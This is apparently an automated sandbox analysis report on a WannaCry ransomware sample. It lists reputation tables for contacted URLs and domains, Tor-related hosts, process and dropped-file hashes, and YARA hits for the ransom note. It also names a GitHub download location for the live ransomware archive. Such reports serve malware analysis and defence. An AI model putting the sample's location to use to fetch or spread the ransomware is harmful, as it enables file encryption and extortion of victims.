https://github.githubassets.com/assets/ui_packages_paths_index_ts-ea3e1b2a33c6.js	0%	Avira URL Cloud	safe
https://github.githubassets.com/assets/chunk-ui_packages_cookie-consent-element_cookie-consent-element_ts-6c210391e8f0.js	0%	Virustotal		Browse
https://github.githubassets.com/assets/chunk-ui_packages_cookie-consent-link-element_cookie-consent-link-element_ts-80fd8ee00406.js	0%	Avira URL Cloud	safe
https://github.githubassets.com/assets/vendors-node_modules_primer_react_lib-esm_Button_IconButton_js-node_modules_primer_react_lib--23bcad-01764c79fa41.js	0%	Virustotal		Browse
https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_jtml_lib_index_js-95b84ee6bc34.js	0%	Virustotal		Browse
https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-11f6759e1cef.js	0%	Avira URL Cloud	safe
https://github.githubassets.com/assets/behaviors-4e25e265ef84.js	0%	Avira URL Cloud	safe
https://github.githubassets.com/assets/vendors-node_modules_oddbird_popover-polyfill_dist_popover_js	0%	Avira URL Cloud	safe
https://github.githubassets.com/assets/vendors-node_modules_primer_react_lib-esm_Overlay_Overlay_js-	0%	Avira URL Cloud	safe
https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-11f6759e1cef.js	0%	Virustotal		Browse
https://github.githubassets.com/assets/vendors-node_modules_primer_react_lib-esm_ConfirmationDialog_ConfirmationDialog_js-8ab472e2f924.js	0%	Virustotal		Browse
https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-9f960d9b217c.js	0%	Avira URL Cloud	safe
https://github.githubassets.com/assets/behaviors-4e25e265ef84.js	0%	Virustotal		Browse
https://github.githubassets.com/assets/element-registry-fb4b8d40f206.js	0%	Virustotal		Browse
https://github.githubassets.com/assets/primer-f3607eccaaae.css	0%	Avira URL Cloud	safe
https://github.githubassets.com/assets/ui_packages_paths_index_ts-ea3e1b2a33c6.js	0%	Virustotal		Browse
https://github.githubassets.com/assets/vendors-node_modules_primer_react_lib-esm_Overlay_Overlay_js-	0%	Virustotal		Browse
https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_focus-zone_js-086f7a27bac0.js	0%	Avira URL Cloud	safe
https://github.githubassets.com/assets/vendors-node_modules_primer_react_lib-esm_FormControl_FormControl_js-f17f2abffb7f.js	0%	Avira URL Cloud	safe
https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_template-parts_lib_index_js-878844713bc9.js	0%	Avira URL Cloud	safe
https://github.githubassets.com/assets/chunk-ui_packages_webauthn-get-element_webauthn-get-element_ts-57f9943adb92.js	0%	Virustotal		Browse
https://github.githubassets.com/assets/vendors-node_modules_primer_react_lib-esm_PageLayout_PageLayout_js-5a4a31c01bca.js	0%	Avira URL Cloud	safe
https://github.githubassets.com/assets/primer-f3607eccaaae.css	0%	Virustotal		Browse
https://github.githubassets.com/assets/primer-primitives-366b5c973fad.css	0%	Avira URL Cloud	safe
https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-9f960d9b217c.js	0%	Virustotal		Browse
https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_focus-zone_js-086f7a27bac0.js	0%	Virustotal		Browse
https://github.githubassets.com/assets/chunk-ui_packages_cookie-consent-link-element_cookie-consent-link-element_ts-80fd8ee00406.js	0%	Virustotal		Browse
https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_template-parts_lib_index_js-878844713bc9.js	0%	Virustotal		Browse
https://github.githubassets.com/assets/vendors-node_modules_primer_react_lib-esm_Box_Box_js-8f8c5e2a	0%	Avira URL Cloud	safe
https://avatars.githubusercontent.com/u/19915931?v=4&size=40	0%	Avira URL Cloud	safe
https://github.githubassets.com/assets/app_assets_modules_github_behaviors_ajax-error_ts-app_assets_modules_github_behaviors_include-467754-244ee9d9ed77.js	0%	Avira URL Cloud	safe
https://github.githubassets.com/assets/vendors-node_modules_primer_react_lib-esm_FormControl_FormControl_js-f17f2abffb7f.js	0%	Virustotal		Browse
https://github.githubassets.com/assets/vendors-node_modules_primer_react_lib-esm_Avatar_Avatar_js-no	0%	Avira URL Cloud	safe
https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_auto-complete-element-81d69b-d1813ba335d8.js	0%	Avira URL Cloud	safe
https://github.githubassets.com/assets/vendors-node_modules_oddbird_popover-polyfill_dist_popover_js	0%	Virustotal		Browse
https://github.githubassets.com/assets/vendors-node_modules_primer_react_lib-esm_PageLayout_PageLayout_js-5a4a31c01bca.js	0%	Virustotal		Browse
https://github.githubassets.com/assets/vendors-node_modules_primer_react_lib-esm_TreeView_TreeView_j	0%	Avira URL Cloud	safe
https://github.githubassets.com/assets/vendors-node_modules_primer_react_lib-esm_PageLayout_PageLayo	0%	Avira URL Cloud	safe
https://github.githubassets.com/assets/vendors-node_modules_primer_react_lib-esm_Avatar_Avatar_js-no	0%	Virustotal		Browse
https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-5bff297a06de.js	0%	Avira URL Cloud	safe
https://github.githubassets.com/assets/app_assets_modules_github_behaviors_ajax-error_ts-app_assets_modules_github_behaviors_include-467754-244ee9d9ed77.js	0%	Virustotal		Browse
https://github.githubassets.com/assets/primer-primitives-366b5c973fad.css	0%	Virustotal		Browse
https://github.githubassets.com/assets/vendors-node_modules_react-router-dom_dist_index_js-3b41341d50fe.js	0%	Avira URL Cloud	safe
https://github.githubassets.com/assets/vendors-node_modules_primer_react_lib-esm_TreeView_TreeView_j	0%	Virustotal		Browse
https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_auto-complete-element-81d69b-d1813ba335d8.js	0%	Virustotal		Browse
https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-5bff297a06de.js	0%	Virustotal		Browse
https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-c537341-b93616e2fc14.js	0%	Avira URL Cloud	safe
http://www.btcfrog.com/qr/bitcoinPNG.php?address=%smailto:%shttps://www.google.com/search?q=how	0%	Avira URL Cloud	safe
https://github.githubassets.com/assets/light_colorblind-af6c685139ba.css	0%	Avira URL Cloud	safe
https://github.githubassets.com/assets/light-0eace2597ca3.css	0%	Avira URL Cloud	safe
https://github.githubassets.com/assets/vendors-node_modules_primer_react_lib-esm_Box_Box_js-8f8c5e2a	1%	Virustotal		Browse
https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_primer_view-co-3959a9-68b3d6c8feb2.js	0%	Avira URL Cloud	safe
https://github.githubassets.com/assets/wp-runtime-5afb085e74be.js	0%	Avira URL Cloud	safe
https://github.githubassets.com/assets/app_assets_modules_github_blob-anchor_ts-app_assets_modules_github_filter-sort_ts-app_assets_-e50ab6-fd8396d2490b.js	0%	Avira URL Cloud	safe
https://github.githubassets.com/assets/vendors-node_modules_primer_react_lib-esm_PageLayout_PageLayo	0%	Virustotal		Browse

Name	IP	Active	Malicious	Reputation
s3-w.us-east-1.amazonaws.com	52.216.245.236	true	false	high
avatars.githubusercontent.com	185.199.109.133	true	false	unknown
github.com	140.82.114.4	true	false	high
raw.githubusercontent.com	185.199.108.133	true	false	unknown
api.github.com	140.82.113.6	true	false	high
www.google.com	142.251.32.100	true	false	high
user-images.githubusercontent.com	185.199.111.133	true	false	unknown
glb-db52c2cf8be544.github.com	140.82.114.21	true	false	high
github.githubassets.com	185.199.109.154	true	false	unknown
collector.github.com	unknown	unknown	false	high
github-cloud.s3.amazonaws.com	unknown	unknown	false	high

Name	Malicious	Antivirus Detection	Reputation
https://github.githubassets.com/assets/codespaces-1a8626dd714a.js	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://github.githubassets.com/assets/react-code-view.959fb0b61e6a1de773e7.module.css	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://github.githubassets.com/assets/vendors-node_modules_primer_react_lib-esm_Button_IconButton_js-node_modules_primer_react_lib--23bcad-01764c79fa41.js	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-5b376145beff.js	false	URL Reputation: safe	unknown
https://github.githubassets.com/assets/vendors-node_modules_primer_react_lib-esm_Text_Text_js-node_modules_primer_react_lib-esm_Text-7845da-c300384a527b.js	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-ee3fc84d7fb0.js	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://api.github.com/_private/browser/stats	false		high
https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0/tree-commit-info/master	false		high
https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0/branch-count	false		high
https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_decorators_js-node_modules_github_remote-form_-01f9fa-075cdbe1c5e3.js	false	Avira URL Cloud: safe	unknown
https://github.githubassets.com/assets/repository-6247ca238fd4.css	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://github.githubassets.com/assets/element-registry-fb4b8d40f206.js	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://github.githubassets.com/assets/chunk-ui_packages_cookie-consent-element_cookie-consent-element_ts-6c210391e8f0.js	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://github.githubassets.com/assets/vendors-node_modules_primer_react_lib-esm_Avatar_Avatar_js-node_modules_primer_react_lib-esm_-4e97c6-949a0431d8c0.js	false	Avira URL Cloud: safe	unknown
https://github.githubassets.com/assets/chunk-ui_packages_webauthn-get-element_webauthn-get-element_ts-57f9943adb92.js	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://github.githubassets.com/assets/dark-a167e256da9c.css	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://github.githubassets.com/assets/vendors-node_modules_primer_react_lib-esm_TreeView_TreeView_js-4d087b8e0c8a.js	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_jtml_lib_index_js-95b84ee6bc34.js	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://github.githubassets.com/assets/vendors-node_modules_primer_react_lib-esm_ConfirmationDialog_ConfirmationDialog_js-8ab472e2f924.js	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://github.githubassets.com/assets/ui_packages_paths_index_ts-ea3e1b2a33c6.js	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0/used_by_list	false		high
https://github.githubassets.com/assets/chunk-ui_packages_cookie-consent-link-element_cookie-consent-link-element_ts-80fd8ee00406.js	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-11f6759e1cef.js	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://github.githubassets.com/assets/behaviors-4e25e265ef84.js	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-9f960d9b217c.js	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://github.githubassets.com/assets/primer-f3607eccaaae.css	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_focus-zone_js-086f7a27bac0.js	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://github.githubassets.com/assets/vendors-node_modules_primer_react_lib-esm_FormControl_FormControl_js-f17f2abffb7f.js	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_template-parts_lib_index_js-878844713bc9.js	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://github.githubassets.com/assets/vendors-node_modules_primer_react_lib-esm_PageLayout_PageLayout_js-5a4a31c01bca.js	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://github.githubassets.com/assets/primer-primitives-366b5c973fad.css	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0	false		high
https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0/overview-files/master	false		high
https://github.githubassets.com/assets/app_assets_modules_github_behaviors_ajax-error_ts-app_assets_modules_github_behaviors_include-467754-244ee9d9ed77.js	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://github.githubassets.com/favicons/favicon.png	false	URL Reputation: safe	unknown
https://avatars.githubusercontent.com/u/19915931?v=4&size=40	false	Avira URL Cloud: safe	unknown
https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_auto-complete-element-81d69b-d1813ba335d8.js	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0/refs?type=branch	false		high
https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-5bff297a06de.js	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://github.githubassets.com/assets/vendors-node_modules_react-router-dom_dist_index_js-3b41341d50fe.js	false	Avira URL Cloud: safe	unknown
https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-c537341-b93616e2fc14.js	false	Avira URL Cloud: safe	unknown
https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0/blob/master/Ransomware.WannaCry.zip	false		high
https://github.githubassets.com/assets/light-0eace2597ca3.css	false	Avira URL Cloud: safe	unknown
https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_primer_view-co-3959a9-68b3d6c8feb2.js	false	Avira URL Cloud: safe	unknown
https://github.githubassets.com/assets/wp-runtime-5afb085e74be.js	false	Avira URL Cloud: safe	unknown
https://github.githubassets.com/assets/app_assets_modules_github_blob-anchor_ts-app_assets_modules_github_filter-sort_ts-app_assets_-e50ab6-fd8396d2490b.js	false	Avira URL Cloud: safe	unknown
https://github.githubassets.com/assets/github-19c85be4af9c.css	false	Avira URL Cloud: safe	unknown
https://github.githubassets.com/favicons/favicon.svg	false	URL Reputation: safe	unknown
https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-5a0e291a0298.js	false	Avira URL Cloud: safe	unknown
https://github.githubassets.com/assets/vendors-node_modules_primer_react_lib-esm_Box_Box_js-8f8c5e2a2cbf.js	false	Avira URL Cloud: safe	unknown
https://github.githubassets.com/assets/react-code-view-c04a0c63417c.js	false	Avira URL Cloud: safe	unknown
https://github.githubassets.com/assets/ui_packages_failbot_failbot_ts-5bd9ba639cc0.js	false	Avira URL Cloud: safe	unknown
https://github.githubassets.com/assets/code-menu-614feb194539.js	false	Avira URL Cloud: safe	unknown
https://github.githubassets.com/assets/ui_packages_react-core_create-browser-history_ts-ui_packages_react-core_AppContextProvider_ts-809ab9-4a2cf4ad7f60.js	false	Avira URL Cloud: safe	unknown
https://github.githubassets.com/assets/app_assets_modules_github_ref-selector_ts-b593b93f23f5.js	false	Avira URL Cloud: safe	unknown
https://github.githubassets.com/assets/chunk-ui_packages_code-view-shared_components_files-search_FileResultsList_tsx-8044b2e52146.js	false	Avira URL Cloud: safe	unknown

Name	Source	Malicious	Antivirus Detection	Reputation
https://github.com/notifications/beta/shelf	chromecache_814.1.dr	false		high
https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_mo	chromecache_814.1.dr	false	URL Reputation: safe	unknown
https://github.githubassets.com/assets/light_tritanopia-5cb699a7e247.css	chromecache_814.1.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://www.torproject.org/	taskhsvc.exe, 00000069.00000000.1544087986.000000000042C000.00000002.00000001.01000000.0000000B.sdmp, taskhsvc.exe.69.dr	false		high
https://user-images.githubusercontent.com/	chromecache_814.1.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_	chromecache_814.1.dr	false	URL Reputation: safe	unknown
https://github.githubassets.com/assets/ui_packages_react-core_create-browser-history_ts-ui_packages_	chromecache_814.1.dr	false	URL Reputation: safe	unknown
https://github.githubassets.com/assets/vendors-node_modules_github_turbo_dist_turbo_es2017-esm_js-c9	chromecache_814.1.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://github.githubassets.com/assets/vendors-node_modules_primer_octicons-react_dist_index_esm_js-	chromecache_814.1.dr	false	URL Reputation: safe	unknown
https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parse	chromecache_814.1.dr	false	URL Reputation: safe	unknown
https://github.githubassets.com/assets/ui_packages_commit-attribution_index_ts-ui_packages_commit-ch	chromecache_814.1.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://github.githubassets.com/assets/vendors-node_modules_primer_react_lib-esm_Button_IconButton_j	chromecache_814.1.dr	false	URL Reputation: safe	unknown
https://docs.github.com/search-github/github-code-search/understanding-github-code-search-syntax	chromecache_814.1.dr	false		high
https://docs.github.com/site-policy/privacy-policies/github-privacy-statement	chromecache_814.1.dr	false		high
https://github.githubassets.com/assets/vendors-node_modules_primer_react_lib-esm_ActionList_index_js	chromecache_814.1.dr	false	URL Reputation: safe	unknown
https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modu	chromecache_814.1.dr	false	URL Reputation: safe	unknown
https://github.githubassets.com/assets/vendors-node_modules_oddbird_popover-polyfill_dist_popover_js	chromecache_814.1.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://github.githubassets.com/assets/vendors-node_modules_primer_react_lib-esm_Overlay_Overlay_js-	chromecache_814.1.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.zlib.net/D	@WanaDecryptor@.exe, 00000045.00000003.1539251778.00000000028B1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://resources.github.com/learn/pathways/	chromecache_814.1.dr	false		high
https://www.torproject.org/download/download#warning	taskhsvc.exe, 00000069.00000000.1544087986.000000000042C000.00000002.00000001.01000000.0000000B.sdmp, taskhsvc.exe.69.dr	false		high
https://dist.torproject.org/torbrowser/6.5.1/tor-win32-0.2.9.10.zip	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe, 0000000B.00000003.1930805946.0000000002516000.00000004.00000020.00020000.00000000.sdmp, @WanaDecryptor@.exe, 0000004B.00000002.1530917323.000000000019B000.00000004.00000010.00020000.00000000.sdmp	false		high
https://api.github.com/_private/browser/errors	chromecache_814.1.dr	false		high
https://github.githubassets.com/assets/vendors-node_modules_primer_react_lib-esm_Box_Box_js-8f8c5e2a	chromecache_814.1.dr	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://wiki.torproject.org/TheOnionRouter/TorFAQ#SOCKSAndDNS.%s	taskhsvc.exe, 00000069.00000000.1544087986.000000000042C000.00000002.00000001.01000000.0000000B.sdmp, taskhsvc.exe.69.dr	false		high
https://blog.torproject.org/blog/lifecycle-of-a-new-relayError	@WanaDecryptor@.exe, 00000045.00000003.1539553722.00000000029B5000.00000004.00000020.00020000.00000000.sdmp, taskhsvc.exe, 00000069.00000000.1544087986.000000000042C000.00000002.00000001.01000000.0000000B.sdmp, taskhsvc.exe.69.dr	false		high
https://docs.github.com/site-policy/github-terms/github-terms-of-service	chromecache_814.1.dr	false		high
https://github.githubassets.com/assets/vendors-node_modules_primer_react_lib-esm_Avatar_Avatar_js-no	chromecache_814.1.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://github.githubassets.com/assets/vendors-node_modules_primer_react_lib-esm_TreeView_TreeView_j	chromecache_814.1.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://github.githubassets.com/assets/vendors-node_modules_primer_react_lib-esm_PageLayout_PageLayo	chromecache_814.1.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://blog.torproject.org/blog/lifecycle-of-a-new-relay	@WanaDecryptor@.exe, 00000045.00000003.1539553722.00000000029B5000.00000004.00000020.00020000.00000000.sdmp, taskhsvc.exe, 00000069.00000000.1544087986.000000000042C000.00000002.00000001.01000000.0000000B.sdmp, taskhsvc.exe.69.dr	false		high
https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_focus-zone_js-	chromecache_814.1.dr	false	URL Reputation: safe	unknown
https://github.com/	chromecache_814.1.dr	false		high
http://www.btcfrog.com/qr/bitcoinPNG.php?address=%smailto:%shttps://www.google.com/search?q=how	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe, 0000000B.00000003.1426542169.000000000098A000.00000004.00000020.00020000.00000000.sdmp, ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe, 0000000B.00000003.1423162894.0000000000989000.00000004.00000020.00020000.00000000.sdmp, @WanaDecryptor@.exe, 00000045.00000000.1517699744.000000000041F000.00000008.00000001.01000000.00000009.sdmp, @WanaDecryptor@.exe, 0000004B.00000002.1530960305.0000000000421000.00000004.00000001.01000000.00000009.sdmp, @WanaDecryptor@.exe, 00000050.00000002.1524452290.0000000000421000.00000004.00000001.01000000.00000009.sdmp, @WanaDecryptor@.exe, 00000052.00000002.1525784125.0000000000421000.00000004.00000001.01000000.00000009.sdmp, @WanaDecryptor@.exe, 00000053.00000002.1526743183.0000000000421000.00000004.00000001.01000000.00000009.sdmp, @WanaDecryptor@.exe, 00000056.00000002.1528095321.0000000000421000.00000004.00000001.01000000.00000009.sdmp, @WanaDecryptor@.exe, 00000058.00000002.1529684373.0000000000421000.00000004.00000001.01000000.00000009.sdmp, @WanaDecryptor@.exe, 0000005A.00000002.1530691676.0000000000421000.00000004.00000001.01000000.00000009.sdmp, @WanaDecryptor@.exe, 0000005E.00000002.1531940210.0000000000421000.00000004.00000001.01000000.00000009.sdmp, @WanaDecryptor@.exe, 0000005F.00000002.1533260086.0000000000421000.00000004.00000001.01000000.00000009.sdmp, @WanaDecryptor@.exe, 00000061.00000002.1534786645.0000000000421000.00000004.00000001.01000000.00000009.sdmp, @WanaDecryptor@.exe, 00000062.00000002.1536847189.0000000000421000.00000004.00000001.01000000.00000009.sdmp, @WanaDecryptor@.exe, 00000064.00000002.1537704878.0000000000421000.00000004.00000001.01000000.00000009.sdmp, @WanaDecryptor@.exe, 00000065.00000002.1539090441.0000000000421000.00000004.00000001.01000000.00000009.sdmp, @WanaDecryptor@.exe, 00000067.00000002.1540280888.0000000000421000.00000004.00000001.01000000.00000009.sdmp, @WanaDecryptor@.exe, 00000068.00000002.1541702331.0000000000421000.00000004.00000001.01000000.00000009.sdmp, @WanaDecryptor@.exe, 0000006B.00000002.1543186279.0000000000421000.00000004.00000001.01000000.00000009.sdmp, @WanaDecryptor@.exe, 0000006D.00000002.1544404210.0000000000421000.00000004.00000001.01000000.00000009.sdmp, @WanaDecryptor@.exe, 0000006F.00000002.1545763104.0000000000421000.00000004.00000001.01000000.00000009.sdmp	true	Avira URL Cloud: safe	unknown
https://www.githubstatus.com/	chromecache_814.1.dr	false	URL Reputation: safe	unknown
https://support.github.com?tags=dotcom-footer	chromecache_814.1.dr	false		high
https://github.githubassets.com/assets/light_colorblind-af6c685139ba.css	chromecache_814.1.dr	false	Avira URL Cloud: safe	unknown
https://github.githubassets.com/assets/vendors-node_modules_primer_react_lib-esm_FormControl_FormCon	chromecache_814.1.dr	false	Avira URL Cloud: safe	unknown
https://github.githubassets.com/assets/vendors-node_modules_primer_react_lib-esm_Dialog_js-node_modu	chromecache_814.1.dr	false	Avira URL Cloud: safe	unknown
https://docs.github.com/	chromecache_814.1.dr	false		high
https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0/blob/master/Ransomware.WannaCry.zip?raw=true	chromecache_814.1.dr	false		high
https://github.githubassets.com	chromecache_814.1.dr	false	URL Reputation: safe	unknown
https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-	chromecache_814.1.dr	false	URL Reputation: safe	unknown
https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-ee3fc84d7fb0.j	chromecache_814.1.dr	false	Avira URL Cloud: safe	unknown

IP	Domain	Country	ASN	ASN Name	Malicious
140.82.114.4	github.com	United States	36459	GITHUBUS	false
140.82.113.4	unknown	United States	36459	GITHUBUS	false
89.248.165.40	unknown	Netherlands	202425	INT-NETWORKSC	false
185.199.109.154	github.githubassets.com	Netherlands	54113	FASTLYUS	false
140.82.113.6	api.github.com	United States	36459	GITHUBUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
185.199.109.133	avatars.githubusercontent.com	Netherlands	54113	FASTLYUS	false
142.251.32.100	www.google.com	United States	15169	GOOGLEUS	false
178.62.22.36	unknown	European Union	14061	DIGITALOCEAN-ASNUS	false
185.199.108.133	raw.githubusercontent.com	Netherlands	54113	FASTLYUS	false
140.82.114.21	glb-db52c2cf8be544.github.com	United States	36459	GITHUBUS	false
128.31.0.39	unknown	United States	3	MIT-GATEWAYSUS	false
193.11.114.45	unknown	Sweden	1653	SUNETSUNETSwedishUniversityNetworkEU	false
185.199.110.154	unknown	Netherlands	54113	FASTLYUS	false

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1414487
Start date and time:	2024-03-23 15:46:51 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 20m 18s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsinteractivecookbook.jbs
Sample URL:	https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0/blob/master/Ransomware.WannaCry.zip
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	212
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	1
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Detection:	MAL
Classification:	mal100.rans.troj.spyw.evad.win@8295/1166@26/16
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0

Time	Type	Description
15:47:49	API Interceptor	14524563x Sleep call for process: ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe modified
15:47:50	API Interceptor	1x Sleep call for process: dllhost.exe modified
15:47:59	API Interceptor	2x Sleep call for process: @WanaDecryptor@.exe modified
15:48:00	API Interceptor	1x Sleep call for process: WMIC.exe modified

Process:	C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	933
Entropy (8bit):	4.711824502619554
Encrypted:	false
SSDEEP:	24:ptrPzDVR5Gi3OzGm0EigS1xbnGhRQhbrW8PNAi0eEprY+Ai75wRZcet:DZD36W3KghvWmMo+S
MD5:	7A2726BB6E6A79FB1D092B7F2B688AF0
SHA1:	B3EFFADCE8B76AEE8CD6CE2ECCBB8701797468A2
SHA-256:	840AB19C411C918EA3E7526D0DF4B9CB002DE5EA15E854389285DF0D1EA9A8E5
SHA-512:	4E107F661E6BE183659FDD265E131A64CCE2112D842226305F6B111D00109A970FDA0B5ABFB1DAA9F64428E445E3B472332392435707C9AEBBFE94C480C72E54
Malicious:	false
Yara Hits:	Rule: WannaCry_RansomNote, Description: Detects WannaCry Ransomware Note, Source: C:\Users\user\AppData\Local\@Please_Read_Me@.txt, Author: Florian Roth Rule: WannaCry_RansomNote, Description: Detects WannaCry Ransomware Note, Source: C:\Users\user\AppData\Local\@Please_Read_Me@.txt, Author: Florian Roth Rule: WannaCry_RansomNote, Description: Detects WannaCry Ransomware Note, Source: C:\Users\user\AppData\Local\@Please_Read_Me@.txt, Author: Florian Roth Rule: WannaCry_RansomNote, Description: Detects WannaCry Ransomware Note, Source: C:\Users\user\AppData\Local\@Please_Read_Me@.txt, Author: Florian Roth Rule: WannaCry_RansomNote, Description: Detects WannaCry Ransomware Note, Source: C:\Users\user\AppData\Local\@Please_Read_Me@.txt, Author: Florian Roth Rule: WannaCry_RansomNote, Description: Detects WannaCry Ransomware Note, Source: C:\Users\user\AppData\Local\@Please_Read_Me@.txt, Author: Florian Roth Rule: WannaCry_RansomNote, Description: Detects WannaCry Ransomware Note, Source: C:\Users\user\AppData\Local\@Please_Read_Me@.txt, Author: Florian Roth Rule: WannaCry_RansomNote, Description: Detects WannaCry Ransomware Note, Source: C:\Users\user\AppData\Local\@Please_Read_Me@.txt, Author: Florian Roth Rule: WannaCry_RansomNote, Description: Detects WannaCry Ransomware Note, Source: C:\Users\user\AppData\Local\@Please_Read_Me@.txt, Author: Florian Roth Rule: WannaCry_RansomNote, Description: Detects WannaCry Ransomware Note, Source: C:\Users\user\AppData\Local\@Please_Read_Me@.txt, Author: Florian Roth Rule: WannaCry_RansomNote, Description: Detects WannaCry Ransomware Note, Source: C:\Users\user\AppData\Local\@Please_Read_Me@.txt, Author: Florian Roth Rule: WannaCry_RansomNote, Description: Detects WannaCry 